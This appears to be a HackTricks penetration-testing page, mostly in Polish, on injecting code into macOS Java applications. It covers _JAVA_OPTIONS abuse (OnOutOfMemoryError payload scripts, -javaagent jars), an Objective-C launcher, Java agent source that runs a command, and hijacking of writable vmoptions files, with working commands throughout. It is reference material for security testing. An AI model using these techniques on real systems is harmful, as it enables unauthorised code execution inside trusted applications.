macOS Java Applications Injection

Support HackTricks

Enumeration

Znajdź aplikacje Java zainstalowane w swoim systemie. Zauważono, że aplikacje Java w Info.plist będą zawierać pewne parametry java, które zawierają ciąg java., więc możesz to wyszukać:

# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

# Full search
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

_JAVA_OPTIONS

Zmienna środowiskowa _JAVA_OPTIONS może być używana do wstrzykiwania dowolnych parametrów java w wykonaniu skompilowanej aplikacji java:

# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

Aby wykonać to jako nowy proces, a nie jako dziecko bieżącego terminala, możesz użyć:

#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";

NSError *error = nil;

// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];

if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}

NSLog(@"File written successfully to %@", filePath);

// Create a new task
NSTask *task = [[NSTask alloc] init];

/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];

// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];

// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};

// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];

// Set the task's environment
[task setEnvironment:environment];

// Launch the task
[task launch];
}
return 0;
}

Jednak to spowoduje błąd w uruchomionej aplikacji, innym, bardziej dyskretnym sposobem jest stworzenie agenta Java i użycie:

export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

Tworzenie agenta z inną wersją Javy niż aplikacja może spowodować awarię działania zarówno agenta, jak i aplikacji

Gdzie agent może być:

Agent.java
import java.io.*;
import java.lang.instrument.*;

public class Agent {
public static void premain(String args, Instrumentation inst) {
try {
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
Runtime.getRuntime().exec(commands);
}
catch (Exception err) {
err.printStackTrace();
}
}
}

Aby skompilować agenta, uruchom:

javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar

Z manifest.txt:

Premain-Class: Agent
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

A następnie wyeksportuj zmienną env i uruchom aplikację java w ten sposób:

export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

vmoptions file

Ten plik wspiera specyfikację Java params podczas wykonywania Java. Możesz użyć niektórych z wcześniejszych sztuczek, aby zmienić parametry java i sprawić, że proces wykona dowolne polecenia. Co więcej, ten plik może również zawierać inne za pomocą katalogu include, więc możesz również zmienić dołączony plik.

Jeszcze więcej, niektóre aplikacje Java ładują więcej niż jeden plik vmoptions.

Niektóre aplikacje, takie jak Android Studio, wskazują w swoim wyjściu, gdzie szukają tych plików, na przykład:

/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions

2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions

Jeśli nie, możesz łatwo to sprawdzić za pomocą:

# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal

# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio

Zauważ, jak interesujące jest to, że Android Studio w tym przykładzie próbuje załadować plik /Applications/Android Studio.app.vmoptions, miejsce, w którym każdy użytkownik z grupy admin ma dostęp do zapisu.

Support HackTricks

Last updated